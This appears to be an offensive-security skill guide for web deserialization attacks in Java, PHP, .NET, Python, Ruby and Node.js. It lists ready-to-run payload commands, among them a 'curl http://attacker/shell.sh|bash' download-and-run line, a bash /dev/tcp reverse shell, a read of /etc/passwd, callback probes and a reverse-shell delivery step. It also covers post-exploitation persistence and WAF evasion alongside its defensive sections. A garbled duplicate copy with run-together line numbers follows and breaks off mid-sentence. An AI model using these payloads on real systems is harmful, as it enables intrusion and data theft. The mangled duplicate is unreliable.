Skill: Web Deserialization Attacks
Supplementary Files:
payloads.md -- Deserialization payloads for Java, PHP, .NET, Python, Ruby, Jackson/Fastjson, and bypass techniques
test-cases.md -- Structured test cases covering all major deserialization attack vectors (8 test cases)
guides/ -- In-depth guides for Java ysoserial, PHP phpggc, cross-platform deserialization, Node.js deserialization, and .NET deserialization
Summary
Web Deserialization skill domain covering web attack operations.
Tools: ysoserial, phpggc, marshalsec, ysoserial.net, gadgetprobe, jackson-deserialization
Domain: web-attack
OWASP: A08:2021-Software Integrity Failures
MITRE ATT&CK: T1190-Exploit Public-Facing App
Description
Deserialization vulnerabilities arise when an application reconstructs objects from byte streams (Java), serialized strings (PHP), Base64 blobs (.NET), or pickle data (Python) supplied by the client. The root cause is that deserialization can invoke arbitrary class constructors, magic methods (__wakeup, readObject, readResolve), or property setters that chain together into "gadget chains" terminating in dangerous operations like Runtime.exec(), file_put_contents(), or Process.Start().
These vulnerabilities are particularly dangerous because they often lead directly to unauthenticated RCE, bypass authentication mechanisms, or enable denial-of-service through resource exhaustion. Detection is challenging because serialized payloads are opaque binary or encoded data that traditional WAF rules struggle to inspect.
Key attack surfaces include:
- HTTP cookies containing serialized session data
- POST parameters with Base64-encoded object streams
- REST API endpoints accepting JSON/XML with type hints (
@class, __type)
- Message queues and RPC protocols (RMI, AMQP)
- File upload handlers that deserialize embedded objects
- View state fields in web frameworks (ASP.NET
__VIEWSTATE, JSF)
Use Cases
- Java RCE via ysoserial -- Generate CommonsCollections gadget chains to exploit Apache Commons, Spring, Hibernate, and other Java libraries
- PHP object injection -- Abuse Laravel, WordPress, Magento, and custom framework gadget chains via phpggc
- .NET ViewState deserialization -- Exploit machineKey disclosure or weak validation to achieve RCE via ysoserial.net
- Blind deserialization detection -- Use DNS/HTTP callbacks and time delays to confirm deserialization without visible output
- JSON/XML deserialization -- Exploit polymorphic deserialization in Jackson, Fastjson, and XStream
- Python pickle RCE -- Craft malicious pickle payloads targeting Flask/Django session stores or IPC channels
- Ruby deserialization -- Exploit ERB, Gem, and Rails gadget chains
- Gadget chain analysis -- Use GadgetProbe to enumerate available classes and identify exploitable chains
- WAF bypass -- Evade deserialization detection through encoding, compression, and payload obfuscation
Core Tools
| Tool |
Language |
Purpose |
Key Features |
| ysoserial |
Java |
Generate Java gadget chain payloads |
50+ gadget chains, custom command execution, file-based payloads |
| phpggc |
PHP |
Generate PHP gadget chain payloads |
Laravel, WordPress, Magento, Guzzle, Monolog chains |
| marshalsec |
Java |
Deserialization research and marshalling exploits |
RMI/JMX/LDAP/JRMP servers, JSON/XML marshalling |
| ysoserial.net |
.NET |
Generate .NET gadget chain payloads |
ViewState, BinaryFormatter, LosFormatter, NetDataContractSerializer |
| gadgetprobe |
Java |
Enumerate classpath and identify gadget chains |
DNS exfiltration, classpath mapping, chain feasibility |
| jackson-deserialization |
Java/JSON |
Jackson/Fastjson deserialization exploit toolkit |
Polymorphic type handling, @JsonTypeInfo exploitation, CVE database |
Methodology
Phase 1: Detection and Fingerprinting
- Identify serialization formats in HTTP traffic (magic bytes
0xACED for Java, O: for PHP, Base64 with AAQAA for .NET)
- Map input vectors: cookies, POST body, headers, file uploads, API endpoints
- Use GadgetProbe to enumerate available classes on the target classpath via DNS callbacks
- Confirm deserialization by injecting benign objects and observing error messages or behavior changes
Phase 2: Gadget Chain Selection
- Map target framework and library versions from fingerprinting data
- Cross-reference with ysoserial/phpggc/ysoserial.net gadget chain databases
- Select chains matching available libraries (CommonsCollections, Spring, Hibernate, etc.)
- Consider chain reliability -- some chains are version-specific or JVM-dependent
Phase 3: Payload Generation and Delivery
- Generate payloads using the appropriate tool (ysoserial, phpggc, ysoserial.net)
- Encode payload for the delivery vector (Base64, URL-encoding, gzip compression)
- Inject payload into the identified input vector
- Monitor for execution via OOB callbacks (DNS, HTTP) or time-based indicators
Phase 4: Post-Exploitation
- Confirm RCE and establish persistent access if authorized
- Escalate from deserialization to full application compromise
- Document chain used, libraries required, and exploit reliability
Practical Steps
Java Deserialization with ysoserial
# List all available gadget chains
java -jar ysoserial.jar --help
# Generate CommonsCollections5 payload for command execution
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwned' | base64 -w0
# Generate payload with URL-encoded output for GET parameters
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/shell.sh|bash' | base64 -w0 | python3 -c "import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read()))"
# Use JRMP client for more reliable exploitation
java -jar ysoserial.jar JRMPClient 'attacker:1099' | base64 -w0
# Start a JRMP listener to serve payloads
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'
PHP Deserialization with phpggc
# List available gadget chains
phpggc -l
# Generate Laravel RCE1 chain
phpggc Laravel/RCE1 'system("id")'
# Generate WordPress chain with base64 wrapper
phpggc -b WordPress/Generic 'system("cat /etc/passwd")'
# URL-encode output for GET parameter injection
phpggc -u Magento/RCE2 'bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"'
Blind Deserialization Detection
# DNS callback with GadgetProbe
java -cp gadgetprobe.jar GadgetProbe --dns-callback attacker.burpcollaborator.net --input serialized_data.bin
# Time-based detection (5-second delay)
java -jar ysoserial.jar CommonsCollections5 'sleep 5' | base64 -w0
# HTTP OOB callback
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/deser-confirm' | base64 -w0
Defense Perspective
Prevention
- Integrity checks: Sign serialized data with HMAC; reject data with invalid signatures
- Type whitelisting: Only allow deserialization of expected classes; block all others
- Replace serialization: Use JSON or Protocol Buffers for data interchange instead of native serialization
- Patch libraries: Keep all libraries updated to prevent gadget chain availability
- Input validation: Validate all deserialized data against a strict schema before processing
- Sandbox: Run deserialization in a restricted security manager or sandbox environment
Detection
- Monitor for Java serialization magic bytes (
0xACED0005) in HTTP traffic
- Log deserialization exceptions and class-loading errors
- Deploy RASP agents to intercept
ObjectInputStream.readObject() calls
- Use WAF rules to detect common gadget chain class names in Base64-decoded traffic
- Alert on DNS/HTTP callbacks to known exfiltration domains during deserialization attempts
Framework-Specific Mitigations
| Framework |
Mitigation |
| Java |
Override ObjectInputStream.resolveClass() with whitelist; use SerialKiller filter |
| PHP |
Disable unserialize() for user input; use json_decode() instead |
| .NET |
Set MachineKey validation; use AspNetEnforceViewStateMac=true; migrate to DataProtector |
| Python |
Never pickle untrusted data; use json or safe_load with PyYAML |
| Jackson |
Disable DEFAULT_TYPING; use @JsonTypeInfo(use=Id.NAME) with whitelist |
| Ruby |
Avoid Marshal.load on user data; use JSON with permitted classes only |
Deserialization Risk Matrix
The risk matrix below maps deserialization attack surfaces to their typical impact, exploit complexity, and prevalence in production environments. Use this matrix during engagement scoping to prioritize testing effort.
| Attack Surface |
Typical Impact |
Exploit Complexity |
Prevalence |
Priority |
| Java HTTP cookies / session data |
RCE |
Medium |
High |
Critical |
| PHP unserialize() in custom apps |
RCE |
Low |
High |
Critical |
| .NET ViewState (weak/missing MAC) |
RCE |
Low |
Medium |
Critical |
| .NET BinaryFormatter in APIs |
RCE |
Medium |
Medium |
High |
| Jackson/Fastjson JSON type hints |
RCE |
Medium |
Medium |
High |
| Python pickle in Flask/Django sessions |
RCE |
Low |
Low |
High |
| Ruby Marshal in Rails cookies |
RCE |
Medium |
Medium |
Medium |
| Java RMI/JMX/JMS protocols |
RCE |
High |
Medium |
High |
| PHP phar:// wrapper triggers |
RCE |
Medium |
Low |
Medium |
| Node.js node-serialize IIFE |
RCE |
Low |
Low |
Medium |
| Java Spring RPC / Hessian |
RCE |
High |
Low |
Medium |
| XStream XML deserialization |
RCE |
Medium |
Low |
Medium |
Language-Specific Payload Strategies
Each language platform has unique serialization formats, gadget chain ecosystems, and delivery mechanisms. This section provides a quick reference for approaching deserialization exploitation by language.
Java
- Format: Binary stream (magic bytes
0xACED0005, Base64 starts with rO0AB)
- Key tools: ysoserial, marshalsec, GadgetProbe
- Primary chains: CommonsCollections (1-7), Spring (1-2), Hibernate (1-2), Groovy1, Jdk7u21
- Delivery: HTTP cookies, POST bodies, RMI/T3 protocol, JMXInvokerServlet, SOAP headers
- Detection: GadgetProbe DNS enumeration, time-based sleep payloads, HTTP callbacks
PHP
- Format: Text-based (
O:<len>:"<class>":<count>:{...})
- Key tools: phpggc
- Primary chains: Laravel (RCE1-8), WordPress/Generic, Magento/RCE1-2, Monolog, Guzzle, Symfony
- Delivery: Cookies, POST parameters, phar:// wrapper triggers via file operations
- Detection: Inject
O:1:"X":0:{} and observe "Class not found" errors
.NET
- Format: Binary (Base64 starts with
AAQAA), LosFormatter, ViewState
- Key tools: ysoserial.net
- Primary chains: ObjectDataProvider, TypeConfuseDelegate, ActivitySurrogateSelector, TextFormattingRunProperties, WindowsIdentity
- Delivery:
__VIEWSTATE field, BinaryFormatter API endpoints, WCF services, remoting
- Detection: Identify ViewState without MAC, check for machineKey disclosure
Python
- Format: Pickle bytecode (starts with
\x80 + protocol version)
- Key tools: Custom scripts using
pickle stdlib module
- Primary techniques:
__reduce__ method overriding, eval/exec calls, subprocess.check_output
- Delivery: Flask/Django session cookies, Celery task queues, IPC channels, PyYAML unsafe load
- Detection: Check for pickle protocol bytes in cookies, test with sleep-based payloads
Ruby
- Format: Marshal binary (starts with
\x04\x08), YAML with type tags
- Key tools: Custom Ruby scripts, rails-cookie-decryptor
- Primary chains: ERB, Gem::RequestSet, Gem::Requirement, Rails cookie Marshal
- Delivery: Rails cookies (Marshal-serialized), YAML.load on user input, Devise remember_token
- Detection: Identify Rails session cookie format, test for secret_key_base disclosure
Node.js
- Format: JSON with function serialization markers (
_$$ND_FUNC$$)
- Key tools: Custom scripts, node-serialize exploitation
- Primary techniques: IIFE injection via
_$$ND_FUNC$$, prototype pollution chains, funcster exploitation
- Delivery: Serialized session cookies, API endpoints accepting serialized objects, express middleware
- Detection: Look for node-serialize or funcster in dependency list, test with IIFE markers
Gadget Chain Analysis
Gadget chains are sequences of method calls that connect a deserialization entry point (source) to a dangerous operation (sink). Understanding chain anatomy is essential for both exploitation and defense.
Chain Anatomy
Every gadget chain consists of three components:
Kick-off gadget: The method invoked during deserialization. In Java, this is typically readObject(), readResolve(), or readObjectNoData(). In PHP, it is __wakeup() or __destruct().
Chain gadgets: Intermediate classes that pass control from the kick-off to the sink. These are typically map/collection implementations, transformer objects, or proxy wrappers. The key property is that each gadget calls a method on the next gadget without any security checks.
Sink gadget: The final dangerous operation -- usually Runtime.exec(), ProcessBuilder.start(), system(), eval(), or file_put_contents().
Chain Discovery Process
When pre-built chains fail, manual chain discovery requires:
- Classpath enumeration: Use GadgetProbe or manual JAR analysis to identify available classes
- Source identification: Find classes with
readObject(), __wakeup(), or equivalent that delegate to property-controlled methods
- Sink identification: Find classes that execute commands, write files, or load code
- Chain construction: Map a path from source to sink through available intermediate classes
- Payload generation: Construct the serialized object graph that instantiates the chain
Common Chain Patterns
| Pattern |
Description |
Example |
| Transformer chain |
ChainedTransformer applies a series of function calls |
CommonsCollections 1-7 |
| Template injection |
Loads bytecode via ClassLoader from TemplatesImpl |
CommonsCollections2, CommonsCollections4 |
| JNDI redirect |
Deserialized object triggers remote class loading via JNDI |
JRMPClient, Jdk7u21 |
| Property delegation |
Object properties trigger method calls on nested objects |
Spring1, Hibernate1 |
| Magic method chain |
__wakeup/__destruct calls method on property that triggers next gadget |
Laravel RCE chains |
| Delegate invocation |
MulticastDelegate or EventHandler redirects method calls |
TypeConfuseDelegate, ObjectDataProvider |
Deserialization Detection Techniques
Detecting deserialization vulnerabilities in black-box and gray-box testing requires a systematic approach combining fingerprinting, probing, and confirmation.
Passive Fingerprinting
Identify serialization formats in HTTP traffic without actively sending payloads:
Java: Look for Base64 strings starting with rO0AB in cookies, headers, or POST parameters. The raw hex AC ED 00 05 is the Java serialization magic header.
PHP: Look for strings matching the pattern O:<digits>:"<classname>":<count>:{...} or a:<count>:{...} in cookies and parameters.
.NET: Look for Base64 strings starting with /wE (ViewState) or AAQAA (BinaryFormatter) in __VIEWSTATE hidden fields.
Python: Look for Base64 strings that decode to bytes starting with \x80\x04 or \x80\x05 (pickle protocol 4/5) in session cookies.
Ruby: Look for Base64 strings that decode to bytes starting with \x04\x08 (Marshal format) in Rails session cookies.
Active Probing
Inject benign payloads to confirm deserialization is occurring:
# Java: Inject minimal serialized object and watch for ClassNotFoundException
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==" | base64 -d | \
python3 -c "import sys; data=sys.stdin.buffer.read(); data=data.replace(b'HashMap',b'AAAAAAA'); import base64; print(base64.b64encode(data).decode())"
# PHP: Inject invalid class and look for error messages
curl -s http://target/ -b "data=O:1:\"X\":0:{}" | grep -i "class.*not found\|unserialize"
# .NET: Inject invalid ViewState and observe error
curl -s http://target/default.aspx -d "__VIEWSTATE=INVALID_DATA" | grep -i "viewstate\|validation"
# Python: Inject pickle with invalid class reference
python3 -c "import pickle,base64;print(base64.b64encode(pickle.dumps('test')).decode())"
Confirmation via OOB Callbacks
Once deserialization is confirmed, verify code execution through out-of-band callbacks:
- DNS callback: Generate payload with
nslookup <unique>.callback.domain -- works even with restrictive firewalls
- HTTP callback: Generate payload with
curl http://callback.domain/<unique> -- confirms full network access
- Time delay: Generate payload with
sleep 5 or ping -n 6 127.0.0.1 -- works when no outbound network is allowed
- File system artifact: Generate payload with
touch /tmp/<unique> -- confirms execution when OOB is impossible
Safe Deserialization Patterns
Understanding safe deserialization patterns is essential for both validating that mitigations are in place and for building test environments. Each platform provides mechanisms to restrict deserialization.
Java Safe Patterns
// Pattern 1: ObjectInputFilter (Java 9+)
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filterInfo -> {
Class<?> clazz = filterInfo.serialClass();
if (clazz == null) return ObjectInputFilter.Status.ALLOWED;
return ALLOWED_CLASSES.contains(clazz.getName())
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
});
// Pattern 2: Override resolveClass with whitelist
class SafeObjectInputStream extends ObjectInputStream {
protected Class<?> resolveClass(ObjectStreamClass desc) {
if (!ALLOWED_CLASSES.contains(desc.getName()))
throw new InvalidClassException("Unauthorized deserialization", desc.getName());
return super.resolveClass(desc);
}
}
// Pattern 3: Replace with JSON serialization
ObjectMapper mapper = new ObjectMapper();
MyDTO dto = mapper.readValue(json, MyDTO.class); // Type-safe, no gadget chains
PHP Safe Patterns
// Pattern 1: Whitelist allowed classes
$data = unserialize($input, ['allowed_classes' => ['SafeClass1', 'SafeClass2']]);
// Pattern 2: Replace with JSON
$data = json_decode($input, true); // No object instantiation
// Pattern 3: Disable phar wrapper
// php.ini: phar.readonly = On
.NET Safe Patterns
<!-- Pattern 1: Enforce ViewState MAC -->
<system.web>
<pages enableViewStateMac="true" viewStateEncryptionMode="Always" />
<machineKey validationKey="AUTO_GENERATED" decryptionKey="AUTO_GENERATED" />
</system.web>
<!-- Pattern 2: Disable BinaryFormatter -->
<!-- ASP.NET Core: BinaryFormatter is obsolete and removed -->
Python Safe Patterns
# Pattern 1: RestrictedUnpickler
import pickle
class SafeUnpickler(pickle.Unpickler):
ALLOWED = {'builtins': {'dict', 'list', 'set', 'tuple', 'str', 'int', 'float'}}
def find_class(self, module, name):
if module in self.ALLOWED and name in self.ALLOWED[module]:
return super().find_class(module, name)
raise pickle.UnpicklingError(f"Blocked: {module}.{name}")
# Pattern 2: Use JSON instead
import json
data = json.loads(input_string) # Safe, no code execution
# Pattern 3: Use YAML safe_load
import yaml
data = yaml.safe_load(input_string) # Only basic types
Exploit Chain Building
Building exploit chains for deserialization vulnerabilities requires combining multiple techniques into a reliable attack path. This section describes the end-to-end process.
Step 1: Reconnaissance
Identify the technology stack, serialization format, and input vectors:
# Identify web framework and language from HTTP headers
curl -sI http://target/ | grep -iE "server|x-powered-by|x-aspnet|set-cookie"
# Identify serialization format from cookie values
curl -sI http://target/ -v 2>&1 | grep -i "set-cookie" | grep -oE "[A-Za-z0-9+/=]{20,}"
# Check for common deserialization endpoints
curl -s http://target/invoker/JMXInvokerServlet -o /dev/null -w '%{http_code}'
curl -s http://target/wls-wsat/CoordinatorPortType -o /dev/null -w '%{http_code}'
curl -s http://target/api -X POST -H "Content-Type: application/x-java-serialized-object" -d "test" -w '%{http_code}'
Step 2: Format Identification
Determine the exact serialization format from captured data:
# Decode and inspect suspected serialized data
echo "SUSPECT_BASE64" | base64 -d | xxd | head -5
# Java: ac ed 00 05
# .NET: 00 01 00 00 00
# Python: 80 04 or 80 05
# Extract readable strings to identify class names
echo "SUSPECT_BASE64" | base64 -d | strings | head -20
Step 3: Chain Selection and Testing
Select appropriate gadget chains based on the identified format and library fingerprinting:
# Test multiple chains in parallel with unique callbacks
for chain in CommonsCollections5 CommonsCollections6 CommonsCollections7 Spring1 Hibernate1; do
payload=$(java -jar ysoserial.jar $chain "nslookup ${chain}.attacker.com" 2>/dev/null | base64 -w0)
curl -s -o /dev/null -w "${chain}: %{http_code} (%{time_total}s)\n" \
-H "Cookie: data=${payload}" http://target/api
done
Step 4: Payload Delivery and Execution
Deliver the working payload through the identified input vector and confirm execution:
# Generate final RCE payload
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,BASE64_REVERSE_SHELL}|{base64,-d}|bash' | base64 -w0
# Deliver via identified vector
curl -s http://target/api -H "Cookie: session=FINAL_PAYLOAD" &
nc -lvnp 4444 # Catch reverse shell
Detection Methods
Deserialization Vulnerability Detection
- Payload signatures: Java serialized magic bytes
rO0X (Base64 of 0xAC ED 00 05); PHP serialized O:N:"...".
- ** gadget chain detection**:
InvokerTransformer, AnnotationInvocationHandler in deserialized data.
- Anomalous object types: Unexpected class names in serialized stream.
SIEM Detection Rules
- Splunk SPL:
index=web | regex body="rO0X|O:\d+:|\"\$class\""
- ModSecurity CRS: Rules for deserialization payload signatures.
- RASP (Runtime Application Self-Protection): Native deserialization validation.
Defense Evasion Techniques
Payload Obfuscation
- Encoding tricks: Base64 / hex / Gzip the serialized payload.
- Custom serializers: Some apps use custom serializers; format may not match standard signatures.
- Polymorphic gadgets: Use less-known gadgets not in detection rules.
Detection Bypass
- Slow payload delivery: Split payload across multiple requests; below threshold.
- Use binary protocol: Hessian, Kryo, Protocol Buffers; less signature coverage than Java serialization.
- JSON deserialization abuse: Jackson, GSON, fastjson vulnerabilities; different signatures than binary.
1---2name: web-deserialization3description: Deserialization vulnerabilities arise when an application reconstructs objects from byte streams (Java), serialized strings (PHP), Base64 blobs (.NET), or pickle data (Python) supplied by the client.4---567# Skill: Web Deserialization Attacks89> **Supplementary Files**:10> - `payloads.md` -- Deserialization payloads for Java, PHP, .NET, Python, Ruby, Jackson/Fastjson, and bypass techniques11> - `test-cases.md` -- Structured test cases covering all major deserialization attack vectors (8 test cases)12> - `guides/` -- In-depth guides for Java ysoserial, PHP phpggc, cross-platform deserialization, Node.js deserialization, and .NET deserialization1314## Summary1516Web Deserialization skill domain covering web attack operations.1718**Tools**: ysoserial, phpggc, marshalsec, ysoserial.net, gadgetprobe, jackson-deserialization1920**Domain**: web-attack2122**OWASP**: A08:2021-Software Integrity Failures2324**MITRE ATT&CK**: T1190-Exploit Public-Facing App2526## Description2728Deserialization vulnerabilities arise when an application reconstructs objects from byte streams (Java), serialized strings (PHP), Base64 blobs (.NET), or pickle data (Python) supplied by the client. The root cause is that deserialization can invoke arbitrary class constructors, magic methods (`__wakeup`, `readObject`, `readResolve`), or property setters that chain together into "gadget chains" terminating in dangerous operations like `Runtime.exec()`, `file_put_contents()`, or `Process.Start()`.2930These vulnerabilities are particularly dangerous because they often lead directly to unauthenticated RCE, bypass authentication mechanisms, or enable denial-of-service through resource exhaustion. Detection is challenging because serialized payloads are opaque binary or encoded data that traditional WAF rules struggle to inspect.3132Key attack surfaces include:33- HTTP cookies containing serialized session data34- POST parameters with Base64-encoded object streams35- REST API endpoints accepting JSON/XML with type hints (`@class`, `__type`)36- Message queues and RPC protocols (RMI, AMQP)37- File upload handlers that deserialize embedded objects38- View state fields in web frameworks (ASP.NET `__VIEWSTATE`, JSF)3940## Use Cases41421. **Java RCE via ysoserial** -- Generate CommonsCollections gadget chains to exploit Apache Commons, Spring, Hibernate, and other Java libraries432. **PHP object injection** -- Abuse Laravel, WordPress, Magento, and custom framework gadget chains via phpggc443. **.NET ViewState deserialization** -- Exploit machineKey disclosure or weak validation to achieve RCE via ysoserial.net454. **Blind deserialization detection** -- Use DNS/HTTP callbacks and time delays to confirm deserialization without visible output465. **JSON/XML deserialization** -- Exploit polymorphic deserialization in Jackson, Fastjson, and XStream476. **Python pickle RCE** -- Craft malicious pickle payloads targeting Flask/Django session stores or IPC channels487. **Ruby deserialization** -- Exploit ERB, Gem, and Rails gadget chains498. **Gadget chain analysis** -- Use GadgetProbe to enumerate available classes and identify exploitable chains509. **WAF bypass** -- Evade deserialization detection through encoding, compression, and payload obfuscation5152## Core Tools5354| Tool | Language | Purpose | Key Features |55|------|----------|---------|--------------|56| **ysoserial** | Java | Generate Java gadget chain payloads | 50+ gadget chains, custom command execution, file-based payloads |57| **phpggc** | PHP | Generate PHP gadget chain payloads | Laravel, WordPress, Magento, Guzzle, Monolog chains |58| **marshalsec** | Java | Deserialization research and marshalling exploits | RMI/JMX/LDAP/JRMP servers, JSON/XML marshalling |59| **ysoserial.net** | .NET | Generate .NET gadget chain payloads | ViewState, BinaryFormatter, LosFormatter, NetDataContractSerializer |60| **gadgetprobe** | Java | Enumerate classpath and identify gadget chains | DNS exfiltration, classpath mapping, chain feasibility |61| **jackson-deserialization** | Java/JSON | Jackson/Fastjson deserialization exploit toolkit | Polymorphic type handling, `@JsonTypeInfo` exploitation, CVE database |6263## Methodology6465### Phase 1: Detection and Fingerprinting66671. Identify serialization formats in HTTP traffic (magic bytes `0xACED` for Java, `O:` for PHP, Base64 with `AAQAA` for .NET)682. Map input vectors: cookies, POST body, headers, file uploads, API endpoints693. Use GadgetProbe to enumerate available classes on the target classpath via DNS callbacks704. Confirm deserialization by injecting benign objects and observing error messages or behavior changes7172### Phase 2: Gadget Chain Selection73741. Map target framework and library versions from fingerprinting data752. Cross-reference with ysoserial/phpggc/ysoserial.net gadget chain databases763. Select chains matching available libraries (CommonsCollections, Spring, Hibernate, etc.)774. Consider chain reliability -- some chains are version-specific or JVM-dependent7879### Phase 3: Payload Generation and Delivery80811. Generate payloads using the appropriate tool (ysoserial, phpggc, ysoserial.net)822. Encode payload for the delivery vector (Base64, URL-encoding, gzip compression)833. Inject payload into the identified input vector844. Monitor for execution via OOB callbacks (DNS, HTTP) or time-based indicators8586### Phase 4: Post-Exploitation87881. Confirm RCE and establish persistent access if authorized892. Escalate from deserialization to full application compromise903. Document chain used, libraries required, and exploit reliability9192## Practical Steps9394### Java Deserialization with ysoserial9596```bash97# List all available gadget chains98java -jar ysoserial.jar --help99100# Generate CommonsCollections5 payload for command execution101java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwned' | base64 -w0102103# Generate payload with URL-encoded output for GET parameters104java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/shell.sh|bash' | base64 -w0 | python3 -c "import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read()))"105106# Use JRMP client for more reliable exploitation107java -jar ysoserial.jar JRMPClient 'attacker:1099' | base64 -w0108109# Start a JRMP listener to serve payloads110java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'111```112113### PHP Deserialization with phpggc114115```bash116# List available gadget chains117phpggc -l118119# Generate Laravel RCE1 chain120phpggc Laravel/RCE1 'system("id")'121122# Generate WordPress chain with base64 wrapper123phpggc -b WordPress/Generic 'system("cat /etc/passwd")'124125# URL-encode output for GET parameter injection126phpggc -u Magento/RCE2 'bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"'127```128129### Blind Deserialization Detection130131```bash132# DNS callback with GadgetProbe133java -cp gadgetprobe.jar GadgetProbe --dns-callback attacker.burpcollaborator.net --input serialized_data.bin134135# Time-based detection (5-second delay)136java -jar ysoserial.jar CommonsCollections5 'sleep 5' | base64 -w0137138# HTTP OOB callback139java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/deser-confirm' | base64 -w0140```141142### Defense Perspective143144### Prevention145146- **Integrity checks**: Sign serialized data with HMAC; reject data with invalid signatures147- **Type whitelisting**: Only allow deserialization of expected classes; block all others148- **Replace serialization**: Use JSON or Protocol Buffers for data interchange instead of native serialization149- **Patch libraries**: Keep all libraries updated to prevent gadget chain availability150- **Input validation**: Validate all deserialized data against a strict schema before processing151- **Sandbox**: Run deserialization in a restricted security manager or sandbox environment152153### Detection154155- Monitor for Java serialization magic bytes (`0xACED0005`) in HTTP traffic156- Log deserialization exceptions and class-loading errors157- Deploy RASP agents to intercept `ObjectInputStream.readObject()` calls158- Use WAF rules to detect common gadget chain class names in Base64-decoded traffic159- Alert on DNS/HTTP callbacks to known exfiltration domains during deserialization attempts160161### Framework-Specific Mitigations162163| Framework | Mitigation |164|-----------|-----------|165| Java | Override `ObjectInputStream.resolveClass()` with whitelist; use `SerialKiller` filter |166| PHP | Disable `unserialize()` for user input; use `json_decode()` instead |167| .NET | Set `MachineKey` validation; use `AspNetEnforceViewStateMac=true`; migrate to `DataProtector` |168| Python | Never pickle untrusted data; use `json` or `safe_load` with PyYAML |169| Jackson | Disable `DEFAULT_TYPING`; use `@JsonTypeInfo(use=Id.NAME)` with whitelist |170| Ruby | Avoid `Marshal.load` on user data; use JSON with permitted classes only |171172## Deserialization Risk Matrix173174The risk matrix below maps deserialization attack surfaces to their typical impact, exploit complexity, and prevalence in production environments. Use this matrix during engagement scoping to prioritize testing effort.175176| Attack Surface | Typical Impact | Exploit Complexity | Prevalence | Priority |177|----------------|---------------|-------------------|------------|----------|178| Java HTTP cookies / session data | RCE | Medium | High | Critical |179| PHP unserialize() in custom apps | RCE | Low | High | Critical |180| .NET ViewState (weak/missing MAC) | RCE | Low | Medium | Critical |181| .NET BinaryFormatter in APIs | RCE | Medium | Medium | High |182| Jackson/Fastjson JSON type hints | RCE | Medium | Medium | High |183| Python pickle in Flask/Django sessions | RCE | Low | Low | High |184| Ruby Marshal in Rails cookies | RCE | Medium | Medium | Medium |185| Java RMI/JMX/JMS protocols | RCE | High | Medium | High |186| PHP phar:// wrapper triggers | RCE | Medium | Low | Medium |187| Node.js node-serialize IIFE | RCE | Low | Low | Medium |188| Java Spring RPC / Hessian | RCE | High | Low | Medium |189| XStream XML deserialization | RCE | Medium | Low | Medium |190191## Language-Specific Payload Strategies192193Each language platform has unique serialization formats, gadget chain ecosystems, and delivery mechanisms. This section provides a quick reference for approaching deserialization exploitation by language.194195### Java196197- **Format**: Binary stream (magic bytes `0xACED0005`, Base64 starts with `rO0AB`)198- **Key tools**: ysoserial, marshalsec, GadgetProbe199- **Primary chains**: CommonsCollections (1-7), Spring (1-2), Hibernate (1-2), Groovy1, Jdk7u21200- **Delivery**: HTTP cookies, POST bodies, RMI/T3 protocol, JMXInvokerServlet, SOAP headers201- **Detection**: GadgetProbe DNS enumeration, time-based sleep payloads, HTTP callbacks202203### PHP204205- **Format**: Text-based (`O:<len>:"<class>":<count>:{...}`)206- **Key tools**: phpggc207- **Primary chains**: Laravel (RCE1-8), WordPress/Generic, Magento/RCE1-2, Monolog, Guzzle, Symfony208- **Delivery**: Cookies, POST parameters, phar:// wrapper triggers via file operations209- **Detection**: Inject `O:1:"X":0:{}` and observe "Class not found" errors210211### .NET212213- **Format**: Binary (Base64 starts with `AAQAA`), LosFormatter, ViewState214- **Key tools**: ysoserial.net215- **Primary chains**: ObjectDataProvider, TypeConfuseDelegate, ActivitySurrogateSelector, TextFormattingRunProperties, WindowsIdentity216- **Delivery**: `__VIEWSTATE` field, BinaryFormatter API endpoints, WCF services, remoting217- **Detection**: Identify ViewState without MAC, check for machineKey disclosure218219### Python220221- **Format**: Pickle bytecode (starts with `\x80` + protocol version)222- **Key tools**: Custom scripts using `pickle` stdlib module223- **Primary techniques**: `__reduce__` method overriding, eval/exec calls, subprocess.check_output224- **Delivery**: Flask/Django session cookies, Celery task queues, IPC channels, PyYAML unsafe load225- **Detection**: Check for pickle protocol bytes in cookies, test with sleep-based payloads226227### Ruby228229- **Format**: Marshal binary (starts with `\x04\x08`), YAML with type tags230- **Key tools**: Custom Ruby scripts, rails-cookie-decryptor231- **Primary chains**: ERB, Gem::RequestSet, Gem::Requirement, Rails cookie Marshal232- **Delivery**: Rails cookies (Marshal-serialized), YAML.load on user input, Devise remember_token233- **Detection**: Identify Rails session cookie format, test for secret_key_base disclosure234235### Node.js236237- **Format**: JSON with function serialization markers (`_$$ND_FUNC$$`)238- **Key tools**: Custom scripts, node-serialize exploitation239- **Primary techniques**: IIFE injection via `_$$ND_FUNC$$`, prototype pollution chains, funcster exploitation240- **Delivery**: Serialized session cookies, API endpoints accepting serialized objects, express middleware241- **Detection**: Look for node-serialize or funcster in dependency list, test with IIFE markers242243## Gadget Chain Analysis244245Gadget chains are sequences of method calls that connect a deserialization entry point (source) to a dangerous operation (sink). Understanding chain anatomy is essential for both exploitation and defense.246247### Chain Anatomy248249Every gadget chain consists of three components:2502511. **Kick-off gadget**: The method invoked during deserialization. In Java, this is typically `readObject()`, `readResolve()`, or `readObjectNoData()`. In PHP, it is `__wakeup()` or `__destruct()`.2522532. **Chain gadgets**: Intermediate classes that pass control from the kick-off to the sink. These are typically map/collection implementations, transformer objects, or proxy wrappers. The key property is that each gadget calls a method on the next gadget without any security checks.2542553. **Sink gadget**: The final dangerous operation -- usually `Runtime.exec()`, `ProcessBuilder.start()`, `system()`, `eval()`, or `file_put_contents()`.256257### Chain Discovery Process258259When pre-built chains fail, manual chain discovery requires:2602611. **Classpath enumeration**: Use GadgetProbe or manual JAR analysis to identify available classes2622. **Source identification**: Find classes with 